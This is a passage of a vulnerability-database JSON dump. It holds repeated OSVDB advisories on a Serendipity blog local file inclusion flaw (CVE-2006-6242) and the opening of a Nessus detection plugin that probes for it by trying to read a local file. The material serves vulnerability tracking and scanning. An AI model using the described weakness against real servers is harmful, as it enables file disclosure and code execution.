36543](https://vulners.com/osvdb/OSVDB:36543)\n[Related OSVDB ID: 36556](https://vulners.com/osvdb/OSVDB:36556)\n[Related OSVDB ID: 36560](https://vulners.com/osvdb/OSVDB:36560)\n[Related OSVDB ID: 36561](https://vulners.com/osvdb/OSVDB:36561)\n[Related OSVDB ID: 36563](https://vulners.com/osvdb/OSVDB:36563)\n[Related OSVDB ID: 36542](https://vulners.com/osvdb/OSVDB:36542)\n[Related OSVDB ID: 36544](https://vulners.com/osvdb/OSVDB:36544)\n[Related OSVDB ID: 36545](https://vulners.com/osvdb/OSVDB:36545)\n[Related OSVDB ID: 36546](https://vulners.com/osvdb/OSVDB:36546)\n[Related OSVDB ID: 36547](https://vulners.com/osvdb/OSVDB:36547)\n[Related OSVDB ID: 36548](https://vulners.com/osvdb/OSVDB:36548)\n[Related OSVDB ID: 36549](https://vulners.com/osvdb/OSVDB:36549)\n[Related OSVDB ID: 36559](https://vulners.com/osvdb/OSVDB:36559)\n[Related OSVDB ID: 36564](https://vulners.com/osvdb/OSVDB:36564)\n[Related OSVDB ID: 36538](https://vulners.com/osvdb/OSVDB:36538)\n[Related OSVDB ID: 36540](https://vulners.com/osvdb/OSVDB:36540)\n[Related OSVDB ID: 36541](https://vulners.com/osvdb/OSVDB:36541)\n[Related OSVDB ID: 36552](https://vulners.com/osvdb/OSVDB:36552)\n[Related OSVDB ID: 36557](https://vulners.com/osvdb/OSVDB:36557)\n[Related OSVDB ID: 36558](https://vulners.com/osvdb/OSVDB:36558)\nOther Advisory URL: http://www.s9y.org/forums/viewtopic.php?t=7922\nISS X-Force ID: 30615\nGeneric Exploit URL: http://milw0rm.com/exploits/2869\nFrSIRT Advisory: ADV-2006-4782\n[CVE-2006-6242](https://vulners.com/cve/CVE-2006-6242)\nBugtraq ID: 21367\n", "edition": 1, "modified": "2006-11-30T18:18:00", "published": "2006-11-30T18:18:00", "href": "https://vulners.com/osvdb/OSVDB:36562", "id": "OSVDB:36562", "title": "Serendipity serendipity_plugin_recententries/serendipity_plugin_recententries.php serendipity[charset] Variable Traversal Local File Inclusion", "type": "osvdb", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:32", "bulletinFamily": "software", "cvelist": ["CVE-2006-6242"], "description": "# No description provided by the source\n\n## References:\n[Related OSVDB ID: 36535](https://vulners.com/osvdb/OSVDB:36535)\n[Related OSVDB ID: 36536](https://vulners.com/osvdb/OSVDB:36536)\n[Related OSVDB ID: 36537](https://vulners.com/osvdb/OSVDB:36537)\n[Related OSVDB ID: 36539](https://vulners.com/osvdb/OSVDB:36539)\n[Related OSVDB ID: 36550](https://vulners.com/osvdb/OSVDB:36550)\n[Related OSVDB ID: 36551](https://vulners.com/osvdb/OSVDB:36551)\n[Related OSVDB ID: 36553](https://vulners.com/osvdb/OSVDB:36553)\n[Related OSVDB ID: 36554](https://vulners.com/osvdb/OSVDB:36554)\n[Related OSVDB ID: 36555](https://vulners.com/osvdb/OSVDB:36555)\n[Related OSVDB ID: 36565](https://vulners.com/osvdb/OSVDB:36565)\n[Related OSVDB ID: 36543](https://vulners.com/osvdb/OSVDB:36543)\n[Related OSVDB ID: 36556](https://vulners.com/osvdb/OSVDB:36556)\n[Related OSVDB ID: 36560](https://vulners.com/osvdb/OSVDB:36560)\n[Related OSVDB ID: 36561](https://vulners.com/osvdb/OSVDB:36561)\n[Related OSVDB ID: 36563](https://vulners.com/osvdb/OSVDB:36563)\n[Related OSVDB ID: 36542](https://vulners.com/osvdb/OSVDB:36542)\n[Related OSVDB ID: 36544](https://vulners.com/osvdb/OSVDB:36544)\n[Related OSVDB ID: 36545](https://vulners.com/osvdb/OSVDB:36545)\n[Related OSVDB ID: 36546](https://vulners.com/osvdb/OSVDB:36546)\n[Related OSVDB ID: 36547](https://vulners.com/osvdb/OSVDB:36547)\n[Related OSVDB ID: 36548](https://vulners.com/osvdb/OSVDB:36548)\n[Related OSVDB ID: 36549](https://vulners.com/osvdb/OSVDB:36549)\n[Related OSVDB ID: 36559](https://vulners.com/osvdb/OSVDB:36559)\n[Related OSVDB ID: 36564](https://vulners.com/osvdb/OSVDB:36564)\n[Related OSVDB ID: 36538](https://vulners.com/osvdb/OSVDB:36538)\n[Related OSVDB ID: 36540](https://vulners.com/osvdb/OSVDB:36540)\n[Related OSVDB ID: 36541](https://vulners.com/osvdb/OSVDB:36541)\n[Related OSVDB ID: 36557](https://vulners.com/osvdb/OSVDB:36557)\n[Related OSVDB ID: 36558](https://vulners.com/osvdb/OSVDB:36558)\n[Related OSVDB ID: 36562](https://vulners.com/osvdb/OSVDB:36562)\nOther Advisory URL: http://www.s9y.org/forums/viewtopic.php?t=7922\nISS X-Force ID: 30615\nGeneric Exploit URL: http://milw0rm.com/exploits/2869\nFrSIRT Advisory: ADV-2006-4782\n[CVE-2006-6242](https://vulners.com/cve/CVE-2006-6242)\nBugtraq ID: 21367\n", "edition": 1, "modified": "2006-11-30T18:18:00", "published": "2006-11-30T18:18:00", "href": "https://vulners.com/osvdb/OSVDB:36552", "id": "OSVDB:36552", "title": "Serendipity serendipity_event_textile/serendipity_event_textile.php serendipity[charset] Variable Traversal Local File Inclusion", "type": "osvdb", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:32", "bulletinFamily": "software", "cvelist": ["CVE-2006-6242"], "description": "# No description provided by the source\n\n## References:\n[Related OSVDB ID: 36535](https://vulners.com/osvdb/OSVDB:36535)\n[Related OSVDB ID: 36536](https://vulners.com/osvdb/OSVDB:36536)\n[Related OSVDB ID: 36537](https://vulners.com/osvdb/OSVDB:36537)\n[Related OSVDB ID: 36539](https://vulners.com/osvdb/OSVDB:36539)\n[Related OSVDB ID: 36550](https://vulners.com/osvdb/OSVDB:36550)\n[Related OSVDB ID: 36551](https://vulners.com/osvdb/OSVDB:36551)\n[Related OSVDB ID: 36553](https://vulners.com/osvdb/OSVDB:36553)\n[Related OSVDB ID: 36554](https://vulners.com/osvdb/OSVDB:36554)\n[Related OSVDB ID: 36555](https://vulners.com/osvdb/OSVDB:36555)\n[Related OSVDB ID: 36565](https://vulners.com/osvdb/OSVDB:36565)\n[Related OSVDB ID: 36543](https://vulners.com/osvdb/OSVDB:36543)\n[Related OSVDB ID: 36556](https://vulners.com/osvdb/OSVDB:36556)\n[Related OSVDB ID: 36560](https://vulners.com/osvdb/OSVDB:36560)\n[Related OSVDB ID: 36561](https://vulners.com/osvdb/OSVDB:36561)\n[Related OSVDB ID: 36563](https://vulners.com/osvdb/OSVDB:36563)\n[Related OSVDB ID: 36542](https://vulners.com/osvdb/OSVDB:36542)\n[Related OSVDB ID: 36544](https://vulners.com/osvdb/OSVDB:36544)\n[Related OSVDB ID: 36545](https://vulners.com/osvdb/OSVDB:36545)\n[Related OSVDB ID: 36546](https://vulners.com/osvdb/OSVDB:36546)\n[Related OSVDB ID: 36547](https://vulners.com/osvdb/OSVDB:36547)\n[Related OSVDB ID: 36548](https://vulners.com/osvdb/OSVDB:36548)\n[Related OSVDB ID: 36549](https://vulners.com/osvdb/OSVDB:36549)\n[Related OSVDB ID: 36559](https://vulners.com/osvdb/OSVDB:36559)\n[Related OSVDB ID: 36564](https://vulners.com/osvdb/OSVDB:36564)\n[Related OSVDB ID: 36538](https://vulners.com/osvdb/OSVDB:36538)\n[Related OSVDB ID: 36540](https://vulners.com/osvdb/OSVDB:36540)\n[Related OSVDB ID: 36541](https://vulners.com/osvdb/OSVDB:36541)\n[Related OSVDB ID: 36552](https://vulners.com/osvdb/OSVDB:36552)\n[Related OSVDB ID: 36558](https://vulners.com/osvdb/OSVDB:36558)\n[Related OSVDB ID: 36562](https://vulners.com/osvdb/OSVDB:36562)\nOther Advisory URL: http://www.s9y.org/forums/viewtopic.php?t=7922\nISS X-Force ID: 30615\nGeneric Exploit URL: http://milw0rm.com/exploits/2869\nFrSIRT Advisory: ADV-2006-4782\n[CVE-2006-6242](https://vulners.com/cve/CVE-2006-6242)\nBugtraq ID: 21367\n", "edition": 1, "modified": "2006-11-30T18:18:00", "published": "2006-11-30T18:18:00", "href": "https://vulners.com/osvdb/OSVDB:36557", "id": "OSVDB:36557", "title": "Serendipity serendipity_plugin_comments/serendipity_plugin_comments.php serendipity[charset] Variable Traversal Local File Inclusion", "type": "osvdb", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:32", "bulletinFamily": "software", "cvelist": ["CVE-2006-6242"], "description": "# No description provided by the source\n\n## References:\n[Related OSVDB ID: 36536](https://vulners.com/osvdb/OSVDB:36536)\n[Related OSVDB ID: 36537](https://vulners.com/osvdb/OSVDB:36537)\n[Related OSVDB ID: 36539](https://vulners.com/osvdb/OSVDB:36539)\n[Related OSVDB ID: 36550](https://vulners.com/osvdb/OSVDB:36550)\n[Related OSVDB ID: 36551](https://vulners.com/osvdb/OSVDB:36551)\n[Related OSVDB ID: 36553](https://vulners.com/osvdb/OSVDB:36553)\n[Related OSVDB ID: 36554](https://vulners.com/osvdb/OSVDB:36554)\n[Related OSVDB ID: 36555](https://vulners.com/osvdb/OSVDB:36555)\n[Related OSVDB ID: 36565](https://vulners.com/osvdb/OSVDB:36565)\n[Related OSVDB ID: 36543](https://vulners.com/osvdb/OSVDB:36543)\n[Related OSVDB ID: 36556](https://vulners.com/osvdb/OSVDB:36556)\n[Related OSVDB ID: 36560](https://vulners.com/osvdb/OSVDB:36560)\n[Related OSVDB ID: 36561](https://vulners.com/osvdb/OSVDB:36561)\n[Related OSVDB ID: 36563](https://vulners.com/osvdb/OSVDB:36563)\n[Related OSVDB ID: 36542](https://vulners.com/osvdb/OSVDB:36542)\n[Related OSVDB ID: 36544](https://vulners.com/osvdb/OSVDB:36544)\n[Related OSVDB ID: 36545](https://vulners.com/osvdb/OSVDB:36545)\n[Related OSVDB ID: 36546](https://vulners.com/osvdb/OSVDB:36546)\n[Related OSVDB ID: 36547](https://vulners.com/osvdb/OSVDB:36547)\n[Related OSVDB ID: 36548](https://vulners.com/osvdb/OSVDB:36548)\n[Related OSVDB ID: 36549](https://vulners.com/osvdb/OSVDB:36549)\n[Related OSVDB ID: 36559](https://vulners.com/osvdb/OSVDB:36559)\n[Related OSVDB ID: 36564](https://vulners.com/osvdb/OSVDB:36564)\n[Related OSVDB ID: 36538](https://vulners.com/osvdb/OSVDB:36538)\n[Related OSVDB ID: 36540](https://vulners.com/osvdb/OSVDB:36540)\n[Related OSVDB ID: 36541](https://vulners.com/osvdb/OSVDB:36541)\n[Related OSVDB ID: 36552](https://vulners.com/osvdb/OSVDB:36552)\n[Related OSVDB ID: 36557](https://vulners.com/osvdb/OSVDB:36557)\n[Related OSVDB ID: 36558](https://vulners.com/osvdb/OSVDB:36558)\n[Related OSVDB ID: 36562](https://vulners.com/osvdb/OSVDB:36562)\nOther Advisory URL: http://www.s9y.org/forums/viewtopic.php?t=7922\nISS X-Force ID: 30615\nGeneric Exploit URL: http://milw0rm.com/exploits/2869\nFrSIRT Advisory: ADV-2006-4782\n[CVE-2006-6242](https://vulners.com/cve/CVE-2006-6242)\nBugtraq ID: 21367\n", "edition": 1, "modified": "2006-11-30T18:18:00", "published": "2006-11-30T18:18:00", "href": "https://vulners.com/osvdb/OSVDB:36535", "id": "OSVDB:36535", "title": "Serendipity x serendipity[charset] Variable Traversal Local File Inclusion", "type": "osvdb", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:32", "bulletinFamily": "software", "cvelist": ["CVE-2006-6242"], "description": "# No description provided by the source\n\n## References:\n[Related OSVDB ID: 36535](https://vulners.com/osvdb/OSVDB:36535)\n[Related OSVDB ID: 36536](https://vulners.com/osvdb/OSVDB:36536)\n[Related OSVDB ID: 36537](https://vulners.com/osvdb/OSVDB:36537)\n[Related OSVDB ID: 36550](https://vulners.com/osvdb/OSVDB:36550)\n[Related OSVDB ID: 36551](https://vulners.com/osvdb/OSVDB:36551)\n[Related OSVDB ID: 36553](https://vulners.com/osvdb/OSVDB:36553)\n[Related OSVDB ID: 36554](https://vulners.com/osvdb/OSVDB:36554)\n[Related OSVDB ID: 36555](https://vulners.com/osvdb/OSVDB:36555)\n[Related OSVDB ID: 36565](https://vulners.com/osvdb/OSVDB:36565)\n[Related OSVDB ID: 36543](https://vulners.com/osvdb/OSVDB:36543)\n[Related OSVDB ID: 36556](https://vulners.com/osvdb/OSVDB:36556)\n[Related OSVDB ID: 36560](https://vulners.com/osvdb/OSVDB:36560)\n[Related OSVDB ID: 36561](https://vulners.com/osvdb/OSVDB:36561)\n[Related OSVDB ID: 36563](https://vulners.com/osvdb/OSVDB:36563)\n[Related OSVDB ID: 36542](https://vulners.com/osvdb/OSVDB:36542)\n[Related OSVDB ID: 36544](https://vulners.com/osvdb/OSVDB:36544)\n[Related OSVDB ID: 36545](https://vulners.com/osvdb/OSVDB:36545)\n[Related OSVDB ID: 36546](https://vulners.com/osvdb/OSVDB:36546)\n[Related OSVDB ID: 36547](https://vulners.com/osvdb/OSVDB:36547)\n[Related OSVDB ID: 36548](https://vulners.com/osvdb/OSVDB:36548)\n[Related OSVDB ID: 36549](https://vulners.com/osvdb/OSVDB:36549)\n[Related OSVDB ID: 36559](https://vulners.com/osvdb/OSVDB:36559)\n[Related OSVDB ID: 36564](https://vulners.com/osvdb/OSVDB:36564)\n[Related OSVDB ID: 36538](https://vulners.com/osvdb/OSVDB:36538)\n[Related OSVDB ID: 36540](https://vulners.com/osvdb/OSVDB:36540)\n[Related OSVDB ID: 36541](https://vulners.com/osvdb/OSVDB:36541)\n[Related OSVDB ID: 36552](https://vulners.com/osvdb/OSVDB:36552)\n[Related OSVDB ID: 36557](https://vulners.com/osvdb/OSVDB:36557)\n[Related OSVDB ID: 36558](https://vulners.com/osvdb/OSVDB:36558)\n[Related OSVDB ID: 36562](https://vulners.com/osvdb/OSVDB:36562)\nOther Advisory URL: http://www.s9y.org/forums/viewtopic.php?t=7922\nISS X-Force ID: 30615\nGeneric Exploit URL: http://milw0rm.com/exploits/2869\nFrSIRT Advisory: ADV-2006-4782\n[CVE-2006-6242](https://vulners.com/cve/CVE-2006-6242)\nBugtraq ID: 21367\n", "edition": 1, "modified": "2006-11-30T18:18:00", "published": "2006-11-30T18:18:00", "href": "https://vulners.com/osvdb/OSVDB:36539", "id": "OSVDB:36539", "title": "Serendipity serendipity_event_creativecommons/serendipity_event_creativecommons.php serendipity[charset] Variable Traversal Local File Inclusion", "type": "osvdb", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:32", "bulletinFamily": "software", "cvelist": ["CVE-2006-6242"], "description": "# No description provided by the source\n\n## References:\n[Related OSVDB ID: 36535](https://vulners.com/osvdb/OSVDB:36535)\n[Related OSVDB ID: 36536](https://vulners.com/osvdb/OSVDB:36536)\n[Related OSVDB ID: 36537](https://vulners.com/osvdb/OSVDB:36537)\n[Related OSVDB ID: 36539](https://vulners.com/osvdb/OSVDB:36539)\n[Related OSVDB ID: 36550](https://vulners.com/osvdb/OSVDB:36550)\n[Related OSVDB ID: 36551](https://vulners.com/osvdb/OSVDB:36551)\n[Related OSVDB ID: 36553](https://vulners.com/osvdb/OSVDB:36553)\n[Related OSVDB ID: 36555](https://vulners.com/osvdb/OSVDB:36555)\n[Related OSVDB ID: 36565](https://vulners.com/osvdb/OSVDB:36565)\n[Related OSVDB ID: 36543](https://vulners.com/osvdb/OSVDB:36543)\n[Related OSVDB ID: 36556](https://vulners.com/osvdb/OSVDB:36556)\n[Related OSVDB ID: 36560](https://vulners.com/osvdb/OSVDB:36560)\n[Related OSVDB ID: 36561](https://vulners.com/osvdb/OSVDB:36561)\n[Related OSVDB ID: 36563](https://vulners.com/osvdb/OSVDB:36563)\n[Related OSVDB ID: 36542](https://vulners.com/osvdb/OSVDB:36542)\n[Related OSVDB ID: 36544](https://vulners.com/osvdb/OSVDB:36544)\n[Related OSVDB ID: 36545](https://vulners.com/osvdb/OSVDB:36545)\n[Related OSVDB ID: 36546](https://vulners.com/osvdb/OSVDB:36546)\n[Related OSVDB ID: 36547](https://vulners.com/osvdb/OSVDB:36547)\n[Related OSVDB ID: 36548](https://vulners.com/osvdb/OSVDB:36548)\n[Related OSVDB ID: 36549](https://vulners.com/osvdb/OSVDB:36549)\n[Related OSVDB ID: 36559](https://vulners.com/osvdb/OSVDB:36559)\n[Related OSVDB ID: 36564](https://vulners.com/osvdb/OSVDB:36564)\n[Related OSVDB ID: 36538](https://vulners.com/osvdb/OSVDB:36538)\n[Related OSVDB ID: 36540](https://vulners.com/osvdb/OSVDB:36540)\n[Related OSVDB ID: 36541](https://vulners.com/osvdb/OSVDB:36541)\n[Related OSVDB ID: 36552](https://vulners.com/osvdb/OSVDB:36552)\n[Related OSVDB ID: 36557](https://vulners.com/osvdb/OSVDB:36557)\n[Related OSVDB ID: 36558](https://vulners.com/osvdb/OSVDB:36558)\n[Related OSVDB ID: 36562](https://vulners.com/osvdb/OSVDB:36562)\nOther Advisory URL: http://www.s9y.org/forums/viewtopic.php?t=7922\nISS X-Force ID: 30615\nGeneric Exploit URL: http://milw0rm.com/exploits/2869\nFrSIRT Advisory: ADV-2006-4782\n[CVE-2006-6242](https://vulners.com/cve/CVE-2006-6242)\nBugtraq ID: 21367\n", "edition": 1, "modified": "2006-11-30T18:18:00", "published": "2006-11-30T18:18:00", "href": "https://vulners.com/osvdb/OSVDB:36554", "id": "OSVDB:36554", "title": "Serendipity serendipity_event_trackexits/serendipity_event_trackexits.php serendipity[charset] Variable Traversal Local File Inclusion", "type": "osvdb", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:32", "bulletinFamily": "software", "cvelist": ["CVE-2006-6242"], "description": "# No description provided by the source\n\n## References:\n[Related OSVDB ID: 36535](https://vulners.com/osvdb/OSVDB:36535)\n[Related OSVDB ID: 36536](https://vulners.com/osvdb/OSVDB:36536)\n[Related OSVDB ID: 36537](https://vulners.com/osvdb/OSVDB:36537)\n[Related OSVDB ID: 36539](https://vulners.com/osvdb/OSVDB:36539)\n[Related OSVDB ID: 36550](https://vulners.com/osvdb/OSVDB:36550)\n[Related OSVDB ID: 36551](https://vulners.com/osvdb/OSVDB:36551)\n[Related OSVDB ID: 36553](https://vulners.com/osvdb/OSVDB:36553)\n[Related OSVDB ID: 36554](https://vulners.com/osvdb/OSVDB:36554)\n[Related OSVDB ID: 36555](https://vulners.com/osvdb/OSVDB:36555)\n[Related OSVDB ID: 36543](https://vulners.com/osvdb/OSVDB:36543)\n[Related OSVDB ID: 36556](https://vulners.com/osvdb/OSVDB:36556)\n[Related OSVDB ID: 36560](https://vulners.com/osvdb/OSVDB:36560)\n[Related OSVDB ID: 36561](https://vulners.com/osvdb/OSVDB:36561)\n[Related OSVDB ID: 36563](https://vulners.com/osvdb/OSVDB:36563)\n[Related OSVDB ID: 36542](https://vulners.com/osvdb/OSVDB:36542)\n[Related OSVDB ID: 36544](https://vulners.com/osvdb/OSVDB:36544)\n[Related OSVDB ID: 36545](https://vulners.com/osvdb/OSVDB:36545)\n[Related OSVDB ID: 36546](https://vulners.com/osvdb/OSVDB:36546)\n[Related OSVDB ID: 36547](https://vulners.com/osvdb/OSVDB:36547)\n[Related OSVDB ID: 36548](https://vulners.com/osvdb/OSVDB:36548)\n[Related OSVDB ID: 36549](https://vulners.com/osvdb/OSVDB:36549)\n[Related OSVDB ID: 36559](https://vulners.com/osvdb/OSVDB:36559)\n[Related OSVDB ID: 36564](https://vulners.com/osvdb/OSVDB:36564)\n[Related OSVDB ID: 36538](https://vulners.com/osvdb/OSVDB:36538)\n[Related OSVDB ID: 36540](https://vulners.com/osvdb/OSVDB:36540)\n[Related OSVDB ID: 36541](https://vulners.com/osvdb/OSVDB:36541)\n[Related OSVDB ID: 36552](https://vulners.com/osvdb/OSVDB:36552)\n[Related OSVDB ID: 36557](https://vulners.com/osvdb/OSVDB:36557)\n[Related OSVDB ID: 36558](https://vulners.com/osvdb/OSVDB:36558)\n[Related OSVDB ID: 36562](https://vulners.com/osvdb/OSVDB:36562)\nOther Advisory URL: http://www.s9y.org/forums/viewtopic.php?t=7922\nISS X-Force ID: 30615\nGeneric Exploit URL: http://milw0rm.com/exploits/2869\nFrSIRT Advisory: ADV-2006-4782\n[CVE-2006-6242](https://vulners.com/cve/CVE-2006-6242)\nBugtraq ID: 21367\n", "edition": 1, "modified": "2006-11-30T18:18:00", "published": "2006-11-30T18:18:00", "href": "https://vulners.com/osvdb/OSVDB:36565", "id": "OSVDB:36565", "title": "Serendipity serendipity_plugin_templatedropdown/serendipity_plugin_templatedropdown.php serendipity[charset] Variable Traversal Local File Inclusion", "type": "osvdb", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:32", "bulletinFamily": "software", "cvelist": ["CVE-2006-6242"], "description": "# No description provided by the source\n\n## References:\n[Related OSVDB ID: 36535](https://vulners.com/osvdb/OSVDB:36535)\n[Related OSVDB ID: 36536](https://vulners.com/osvdb/OSVDB:36536)\n[Related OSVDB ID: 36537](https://vulners.com/osvdb/OSVDB:36537)\n[Related OSVDB ID: 36539](https://vulners.com/osvdb/OSVDB:36539)\n[Related OSVDB ID: 36550](https://vulners.com/osvdb/OSVDB:36550)\n[Related OSVDB ID: 36551](https://vulners.com/osvdb/OSVDB:36551)\n[Related OSVDB ID: 36553](https://vulners.com/osvdb/OSVDB:36553)\n[Related OSVDB ID: 36554](https://vulners.com/osvdb/OSVDB:36554)\n[Related OSVDB ID: 36555](https://vulners.com/osvdb/OSVDB:36555)\n[Related OSVDB ID: 36565](https://vulners.com/osvdb/OSVDB:36565)\n[Related OSVDB ID: 36543](https://vulners.com/osvdb/OSVDB:36543)\n[Related OSVDB ID: 36556](https://vulners.com/osvdb/OSVDB:36556)\n[Related OSVDB ID: 36560](https://vulners.com/osvdb/OSVDB:36560)\n[Related OSVDB ID: 36561](https://vulners.com/osvdb/OSVDB:36561)\n[Related OSVDB ID: 36563](https://vulners.com/osvdb/OSVDB:36563)\n[Related OSVDB ID: 36542](https://vulners.com/osvdb/OSVDB:36542)\n[Related OSVDB ID: 36544](https://vulners.com/osvdb/OSVDB:36544)\n[Related OSVDB ID: 36545](https://vulners.com/osvdb/OSVDB:36545)\n[Related OSVDB ID: 36546](https://vulners.com/osvdb/OSVDB:36546)\n[Related OSVDB ID: 36547](https://vulners.com/osvdb/OSVDB:36547)\n[Related OSVDB ID: 36548](https://vulners.com/osvdb/OSVDB:36548)\n[Related OSVDB ID: 36549](https://vulners.com/osvdb/OSVDB:36549)\n[Related OSVDB ID: 36559](https://vulners.com/osvdb/OSVDB:36559)\n[Related OSVDB ID: 36564](https://vulners.com/osvdb/OSVDB:36564)\n[Related OSVDB ID: 36538](https://vulners.com/osvdb/OSVDB:36538)\n[Related OSVDB ID: 36541](https://vulners.com/osvdb/OSVDB:36541)\n[Related OSVDB ID: 36552](https://vulners.com/osvdb/OSVDB:36552)\n[Related OSVDB ID: 36557](https://vulners.com/osvdb/OSVDB:36557)\n[Related OSVDB ID: 36558](https://vulners.com/osvdb/OSVDB:36558)\n[Related OSVDB ID: 36562](https://vulners.com/osvdb/OSVDB:36562)\nOther Advisory URL: http://www.s9y.org/forums/viewtopic.php?t=7922\nISS X-Force ID: 30615\nGeneric Exploit URL: http://milw0rm.com/exploits/2869\nFrSIRT Advisory: ADV-2006-4782\n[CVE-2006-6242](https://vulners.com/cve/CVE-2006-6242)\nBugtraq ID: 21367\n", "edition": 1, "modified": "2006-11-30T18:18:00", "published": "2006-11-30T18:18:00", "href": "https://vulners.com/osvdb/OSVDB:36540", "id": "OSVDB:36540", "title": "Serendipity serendipity_event_emoticate/serendipity_event_emoticate.php serendipity[charset] Variable Traversal Local File Inclusion", "type": "osvdb", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:32", "bulletinFamily": "software", "cvelist": ["CVE-2006-6242"], "description": "# No description provided by the source\n\n## References:\n[Related OSVDB ID: 36535](https://vulners.com/osvdb/OSVDB:36535)\n[Related OSVDB ID: 36536](https://vulners.com/osvdb/OSVDB:36536)\n[Related OSVDB ID: 36537](https://vulners.com/osvdb/OSVDB:36537)\n[Related OSVDB ID: 36539](https://vulners.com/osvdb/OSVDB:36539)\n[Related OSVDB ID: 36550](https://vulners.com/osvdb/OSVDB:36550)\n[Related OSVDB ID: 36553](https://vulners.com/osvdb/OSVDB:36553)\n[Related OSVDB ID: 36554](https://vulners.com/osvdb/OSVDB:36554)\n[Related OSVDB ID: 36555](https://vulners.com/osvdb/OSVDB:36555)\n[Related OSVDB ID: 36565](https://vulners.com/osvdb/OSVDB:36565)\n[Related OSVDB ID: 36543](https://vulners.com/osvdb/OSVDB:36543)\n[Related OSVDB ID: 36556](https://vulners.com/osvdb/OSVDB:36556)\n[Related OSVDB ID: 36560](https://vulners.com/osvdb/OSVDB:36560)\n[Related OSVDB ID: 36561](https://vulners.com/osvdb/OSVDB:36561)\n[Related OSVDB ID: 36563](https://vulners.com/osvdb/OSVDB:36563)\n[Related OSVDB ID: 36542](https://vulners.com/osvdb/OSVDB:36542)\n[Related OSVDB ID: 36544](https://vulners.com/osvdb/OSVDB:36544)\n[Related OSVDB ID: 36545](https://vulners.com/osvdb/OSVDB:36545)\n[Related OSVDB ID: 36546](https://vulners.com/osvdb/OSVDB:36546)\n[Related OSVDB ID: 36547](https://vulners.com/osvdb/OSVDB:36547)\n[Related OSVDB ID: 36548](https://vulners.com/osvdb/OSVDB:36548)\n[Related OSVDB ID: 36549](https://vulners.com/osvdb/OSVDB:36549)\n[Related OSVDB ID: 36559](https://vulners.com/osvdb/OSVDB:36559)\n[Related OSVDB ID: 36564](https://vulners.com/osvdb/OSVDB:36564)\n[Related OSVDB ID: 36538](https://vulners.com/osvdb/OSVDB:36538)\n[Related OSVDB ID: 36540](https://vulners.com/osvdb/OSVDB:36540)\n[Related OSVDB ID: 36541](https://vulners.com/osvdb/OSVDB:36541)\n[Related OSVDB ID: 36552](https://vulners.com/osvdb/OSVDB:36552)\n[Related OSVDB ID: 36557](https://vulners.com/osvdb/OSVDB:36557)\n[Related OSVDB ID: 36558](https://vulners.com/osvdb/OSVDB:36558)\n[Related OSVDB ID: 36562](https://vulners.com/osvdb/OSVDB:36562)\nOther Advisory URL: http://www.s9y.org/forums/viewtopic.php?t=7922\nISS X-Force ID: 30615\nGeneric Exploit URL: http://milw0rm.com/exploits/2869\nFrSIRT Advisory: ADV-2006-4782\n[CVE-2006-6242](https://vulners.com/cve/CVE-2006-6242)\nBugtraq ID: 21367\n", "edition": 1, "modified": "2006-11-30T18:18:00", "published": "2006-11-30T18:18:00", "href": "https://vulners.com/osvdb/OSVDB:36551", "id": "OSVDB:36551", "title": "Serendipity serendipity_event_templatechooser/serendipity_event_templatechooser.php serendipity[charset] Variable Traversal Local File Inclusion", "type": "osvdb", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "nessus": [{"lastseen": "2021-01-20T14:09:26", "description": "The 'plugins/serendipity_event_bbcode/serendipity_event_bbcode.php'\nscript included with the version of Serendipity installed on the\nremote host fails to sanitize input to the 'serendipity[charset]'\nparameter before using it to include PHP code. \n\nProvided PHP's 'register_globals' setting is enabled, an\nunauthenticated, remote attacker may be able to exploit this issue to\nview arbitrary files or to execute arbitrary PHP code on the remote\nhost, subject to the privileges of the web server user id. \n\nNote that several other scripts included in Serendipity are reportedly\naffected by the same issue, although Nessus has not checked them.", "edition": 27, "published": "2006-12-01T00:00:00", "title": "Serendipity serendipity_event_bbcode.php Script serendipity[charset] Parameter Local File Inclusion", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2006-6242"], "modified": "2006-12-01T00:00:00", "cpe": ["cpe:/a:s9y:serendipity"], "id": "SERENDIPITY_CHARSET_FILE_INCLUDE.NASL", "href": "https://www.tenable.com/plugins/nessus/23752", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(23752);\n script_version(\"1.17\");\n\n script_cve_id(\"CVE-2006-6242\");\n script_bugtraq_id(21367);\n script_xref(name:\"EDB-ID\", value:\"2869\");\n\n script_name(english:\"Serendipity serendipity_event_bbcode.php Script serendipity[charset] Parameter Local File Inclusion\");\n script_summary(english:\"Tries to read a local file with Serendipity\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote web server contains a PHP application that is affected by\na local file inclusion issue.\" );\n script_set_attribute(attribute:\"description\", value:\n\"The 'plugins/serendipity_event_bbcode/serendipity_event_bbcode.php'\nscript included with the version of Serendipity installed on the\nremote host fails to sanitize input to the 'serendipity[charset]'\nparameter before using it to include PHP code. \n\nProvided PHP's 'register_globals' setting is enabled, 